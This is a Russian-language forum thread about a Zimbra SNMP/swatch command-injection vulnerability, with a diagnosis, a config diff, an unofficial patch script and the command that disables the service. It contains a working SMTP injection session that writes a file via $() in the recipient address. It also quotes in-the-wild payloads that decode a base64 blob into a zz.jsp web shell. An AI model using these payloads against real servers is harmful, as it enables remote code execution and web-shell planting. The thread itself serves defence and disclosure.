https://www.opennet.ru/openforum/vsluhforumID10/5739.html Кратко - вот повтор действий взлома<br><br>$telnet xxx.ru 25<br>Trying 999.99.999.999...<br>Connected to xxx.ru.<br>Escape character is '^]'.<br>220 xxx.ru ESMTP Postfix<br>HELO probe.test<br>250 xxx.ru<br>MAIL FROM: test@probe.test<br>250 2.1.0 Ok<br>RCPT TO: &lt;"x: Service status change: localhost $(echo atas &gt; mailboxd/webapps/zimbra/public/atas.txt) changed from stopped to running"@probe.test&gt;<br>250 2.1.5 Ok<br>DATA<br>354 End data with &lt;CR&gt;&lt;LF&gt;.&lt;CR&gt;&lt;LF&gt;<br>atas<br>.<br>250 2.0.0 Ok: queued as 8691A9D04072<br>QUIT<br>221 2.0.0 Bye<br>Connection closed by foreign host.<br><br>Это итог.<br><br>$ls -l /opt/zimbra/mailboxd/webapps/zimbra/public/atas.txt<br>-rw-r----- 1 zimbra zimbra 5 Aug 13 20:51 /opt/zimbra/mailboxd/webapps/zimbra/public/atas.txt<br><br>Грубо говоря, от пользователя, под которым постфикс, выполняется всё, что в $(). А это много...<br><br>Дополнительно не проверял много, но при нескольких других вариантах строки с инъекцией код не исполняется. Вот почему-то именно такой вариант срабатывает.<br><br>Возможно вариант обсуждался. Если кто помнит - подскажит https://www.opennet.ru/openforum/vsluhforumID10/5739.html#13 Tue, 18 Aug 2026 12:14:09 GMT &gt;&gt; Кратко - вот повтор действий взлома <br>&gt; Да. Речь идёт о критической command injection уязвимости в SNMP-мониторинге Zimbra, исправленной <br>&gt; в Zimbra Collaboration Suite 10.1.20, выпущенной 20 июля 2026 года.<br><br>Зимбра - нехорошие люди. 10.1.20 доступна только за деньги. Пользователи открытой версии сидят на 10.1.18 и юзают костыли.<br><br>https://github.com/Zimbra/packages/tags<br> https://www.opennet.ru/openforum/vsluhforumID10/5739.html#12 Tue, 18 Aug 2026 10:37:10 GMT &gt; Log4j ни кого ни чему не научил. Прыжки на грабли надо делать <br>&gt; олимпийским видом спорта <br><br>мне кажется эти - вообще необучаемые.<br><br><br><br> https://www.opennet.ru/openforum/vsluhforumID10/5739.html#11 Tue, 18 Aug 2026 10:28:09 GMT &gt; По поводу "google: zimbra vulnerabilites (latest)" - да, посмотрю. Но проблема не <br>&gt; обёртке Зимбры, а в постфиксе. И ещё - у меня Гугл <br><br>проблема точно не в постфиксе (впрочем, тебе уже ответили любители этого чуда, оказывается даже такие попадаются)<br><br>&gt; По поводу " -rw-r----- 1 zimbra zimbra" - да, постфикс в обёртке <br>&gt; Зимбры выполняется от пользователя zimbra. Или что там ещё я не <br><br>если авторы этого угребища даже не понимают зачем нужно разделение пользователей от которых запускаются демоны в юникс-лайк системах - добрый совет, выбрось это в помойку. Тут уже никакие костыли не помогут в принципе.<br><br>(но я все же хочу верить в лучшее и вероятнее всего нет, он запускается не от этого пользователя. Не могут они быть ну настолько ... )<br><br><br>&gt; По поводу "ты создал issue на сайте проекта...?". На сайте которого из <br>&gt; проектов, Зимбры или постфикса? Конечно не создал. Где создавать - это <br><br>зимбры. <br><br> https://www.opennet.ru/openforum/vsluhforumID10/5739.html#10 Mon, 17 Aug 2026 22:19:55 GMT &gt; Кратко - вот повтор действий взлома <br><br>Да. Речь идёт о критической command injection уязвимости в SNMP-мониторинге Zimbra, исправленной в Zimbra Collaboration Suite 10.1.20, выпущенной 20 июля 2026 года.<br><br>Что именно происходит<br><br>Уязвимость находится в цепочке:<br><br>Zimbra &#8594; zmswatch / Swatchdog &#8594; обработка строк zimbra.log &#8594; SNMP notification/trap<br><br>Swatchdog (zmswatch) следит за zimbra.log и при определённых событиях, например изменении состояния сервиса, запускает действие для отправки SNMP trap. В штатной конфигурации соответствующие настройки находятся, в частности, в /opt/zimbra/conf/swatchrc.in, а рабочая конфигурация генерируется через zmsnmpinit.<br><br>Проблема заключается в том, что данные, попадающие в обрабатываемую Swatchdog строку, могли быть использованы для внедрения произвольной команды. Поэтому злоумышленнику потенциально достаточно добиться попадания специально сформированных данных в обрабатываемый Zimbra log &#8212; после чего уязвимый обработчик выполняет их в контексте https://www.opennet.ru/openforum/vsluhforumID10/5739.html#9 Mon, 17 Aug 2026 16:19:02 GMT Угу. <br>diff swatchrc.in.bak swatchrc.in <br>26,27c26,27<br>&lt; perlcode 0 sub dosnmp { my %args = (@_); print "SNMP notification: $args{MESSAGE}\n"; `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}`; }<br>&lt; <br>---<br>&gt; #JAD perlcode 0 sub dosnmp { my %args = (@_); print "SNMP notification: $args{MESSAGE}\n"; `$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}`; }<br>&gt; perlcode 0 sub dosnmp { return 1; }<br><br>30c30,31<br>&lt; watchfor /: Service status change: (\S+) (.*) changed from stopped to running/<br>---<br>&gt; #JAD watchfor /: Service status change: (\S+) (.*) changed from stopped to running/<br>&gt; watchfor /: Service status change: (\S+) ([a-z0-9_-]+) changed from stopped to running/<br><br>32c33,34<br>&lt; watchfor /: Service status change: (\S+) (.*) changed from running to stopped/<br>---<br>&gt; #JAD watchfor /: Service status change: (\S+) (.*) changed from running to stopped/<br>&gt; watchfor /: Service status change: (\S+) ([a-z0-9_-]+) changed from run https://www.opennet.ru/openforum/vsluhforumID10/5739.html#8 Mon, 17 Aug 2026 15:12:00 GMT Неофициальный патч<br><br>#!/bin/sh<br>#<br># JAD - Patch Zimbra swatchrc.in for SNMP exploit mitigation<br># - Jun 26, 2026<br>#<br><br>swatchrc=/opt/zimbra/conf/swatchrc.in<br><br>grep -q '#JAD' $swatchrc<br>if [ $? -eq 1 ]; then<br><br> # do not overwrite with zero sized file<br> if [ -s $swatchrc ]; then<br> cp $swatchrc $swatchrc.bak<br> status=$?<br> fi<br><br> # if copy succeeded then it is a go<br> if [ $status -eq 0 ]; then<br> echo "Adding patch"<br><br> perl -0777 -i -pe '<br> s{<br> ^(watchfor\s+/\:\s+Service\s+status\s+change:\s+\(\\S\+\)\s+\(\.\*\)\s+changed\s+from\s+stopped\s+to\s+running/)<br> }{<br> "#JAD $1\n" .<br> "watchfor /: Service status change: (\\S+) ([a-z0-9_-]+) changed from stopped to running/"<br> }gexm;<br><br> s{<br> ^(watchfor\s+/\:\s+Service\s+status\s+change:\s+\(\\S\+\)\s+\(\.\*\)\s+changed\s+from\s+running\s+to\s+stopped/)<br> }{<br> "#JAD $1\n" .<br> "watchfor /: Service status change: (\\S+) ([a-z0-9_-]+) changed from running to stopped/" https://www.opennet.ru/openforum/vsluhforumID10/5739.html#7 Sat, 15 Aug 2026 11:51:38 GMT &gt; Я просто отключил его командой zmprov ms $(zmhostname) -zimbraServiceEnabled snmp <br><br>Ещё раз спасибо! Теперь я могу без нервов смотреть по логам что ко мне пытаются применить. Например, из свежего:<br><br>Второе действие<br>&lt;"x: Service status change: z chmod u+w /opt/zimbra/jetty_base/webapps/zimbra/public;c=$(cat /opt/zimbra/data/tmp/snmpc_*&#124;wc -c);[ $c -eq 493 ]&&cat /opt/zimbra/data/tmp/snmpc_*&#124;base64 -d&#124;gunzip -c&gt;/opt/zimbra/jetty_base/webapps/zimbra/public/zz.jsp;rm -f /opt/zimbra/data/tmp/snmpc_* changed from stopped to running"@example.com&gt;<br><br>Предыдущее действие<br>&lt;"x: Service status change: z ;echo H4sIAPnrf2oC/21R0UoDMRB8v69YA4Wc2qtCH8T2RConCIJSK/iapts2cpeLe3u2xfbfTbgIVsxDIJOZ2clk3LsFp1YIuraMlmc7h7lg3PLAlcrYkV4rapDz19l9/0pA7yYZ/0hM5WriXLyrT5WZOjuN18kLk7Er0JAD4UeLDWcr5GdFqkJGkkJfinSUmCVIz8nBtmUJ+z3ozAsrmWamKSrHO5mm8JWAX3XLmfOmXFophhfDIA84IbdkR8khYdpF7jPVGptm0ppygQRu7mNY3PzBpRjMjR00a3EOoq/9rqOnm2eEC0OouSCqyb8GVSWZWoyM6ATOO3t2w4pYxrtJu1yi109RhekUhx/DMkAP1rXcmUfUhZp+wTL12bri02gfqy2NxQ7YrE2JIG https://www.opennet.ru/openforum/vsluhforumID10/5739.html#6 Fri, 14 Aug 2026 18:53:10 GMT &gt;следит за логом зимбры и парсит его, передавая результаты другим процессам. И при этом ничего не экранирует в найденных строках<br><br>Log4j ни кого ни чему не научил. Прыжки на грабли надо делать олимпийским видом спорта<br> https://www.opennet.ru/openforum/vsluhforumID10/5739.html#5 Fri, 14 Aug 2026 16:50:33 GMT &gt; Инъекция происходит через процесс swatch, входящий в состав службы Zimbra SNMP. Этот <br>&gt; процесс следит за логом зимбры и парсит его, передавая результаты другим <br>&gt; процессам. И при этом ничего не экранирует в найденных строках.<br>&gt; Я просто отключил его командой zmprov ms $(zmhostname) -zimbraServiceEnabled snmp <br><br>Спасибо! Да, после отключения snmp Зимбры действительно больше не исполняется.<br><br>Тему можно закрывать.<br><br>PS: только я не внимательный - мало задизейблить сервис, нужно его ещё и остановить. Ну, как минимум перезапустить саму Зимбру.<br>